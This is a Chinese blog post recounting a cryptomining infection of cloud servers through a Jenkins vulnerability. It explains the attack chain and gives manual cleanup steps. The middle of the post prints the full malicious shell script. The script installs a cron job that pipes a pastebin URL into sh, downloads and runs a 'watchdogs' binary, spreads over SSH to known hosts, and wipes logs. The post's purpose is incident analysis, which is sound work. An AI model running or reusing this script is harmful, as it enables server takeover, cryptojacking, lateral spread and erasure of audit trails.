首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次感染挖矿病毒的经历

记一次感染挖矿病毒的经历

作者头像
尚浩宇
发布2019-03-12 11:00:52
3.7K0
发布2019-03-12 11:00:52
举报
文章被收录于专栏:杂烩杂烩

    下午五点十分、手机开始狂收阿里云ECS实例告警,所有告警都提示机器CPU满载。

    迅速登录阿里云查看监控大盘,发现全部38台机器CPU飙升满载。第三方客户也开始在群聊里反馈接口响应慢,失败率高的问题。顾不得别的赶紧登上去看看是什么进程在吃CPU,为了安全,我们禁止了账号密码,而是采用的密钥文件登录。但是登录却报异常了,身份验证失败!

    这完全不合道理啊,难道被黑了?从阿里控制台登录进去,什么态势感知、安骑士一点异常都没有,再看系统日志和登录用户,也没有任何异常。而TOP命令只能看到CPU满额,但是看不到哪个进程。最后从阿里云的实例监控上看到这个图:

    开始怀疑是不是阿里的SLB有问题,于是发一个工单,开始漫长的等待,好在阿里云的效率还可以,打电话说了一句看看定时器。这一看不得了了,

    按图索骥,打开这个URL,发现像是一堆base64的密文,然后解密出来是这个样的

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

    尝试先把那几个host屏蔽了,屏蔽后发现CPU确实下降了,但是过一会又上来了,定时脚本也一样清除后立马恢复。回去再看脚本,发现一个重要的文件watchdogs,先去百度下看看前贤的经验,找到如下链接https://www.360zhijia.com/anquan/362542.html。

    最后又去看了下我们jenkins的版本,确实是在受影响的范围内,下面是这个漏洞的说明http://www.nxadmin.com/penetration/1590.html。

    大致方向和感染原因找到了,但是如何杀毒呢?屏蔽host、删除病毒文件、删除定时都是治标不治本的办法,好在我们有定期备份镜像的习惯,找到最近的一次备份,然后还原,最后升级jenkins版本。

    但我们依然没有解决问题,这个病毒如何才能杀得干干净净,有知道的麻烦回复我,谢谢。

-------------------------------后续-------------------------------------------------

    领导不愧是领导,经领导的研究,以下是攻击原理和手工脱毒步骤。

    原理:

        针对特定漏洞的攻击,主要漏洞是jenkins插件如下:

    攻击者批量扫描暴露在80接口的jenkins服务,然后针对漏洞伪造请求执行病毒代码注入,主要是为本地创建一个定时器脚本。在系统message日志里可以找到这部分日志

    然后定时器执行,先做自我保护,再清除其它挖矿程序或病毒还有netstat这样的工具,接着按CPU型号,匹配下载对应watchdogs(看门狗)并运行,然后检查ssh免密文件,如果有配置免密机器,直接登录感染,最后清除日志和混淆文件修改时间。看门狗运行的时候,会把本地preload.so库给替换掉,目的是只要系统运行,就必须保证挖矿脚本运行并且执行ps或者top命令的过滤掉病毒程序。但这的前提是root权限,如果jenkins是以root启动的,那么就获得了root权限。

    手工脱毒

    脱毒的原理就是找到病毒文件然后删除掉。但已感染机器是永远不可能找到的,所以必须关机然后把系统挂载到另外一台机器上,以磁盘的形式存在。如果是实体机,就用pe之类的进去,如果是云服务器就把系统做成一个镜像,然后挂载到另外一台机器上。进入磁盘后,可以看下最近修改的文件,一般都能看到,主要俩文件,一个是病毒,一个preload.so,删除掉,然后清除定时器文件,再开机

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档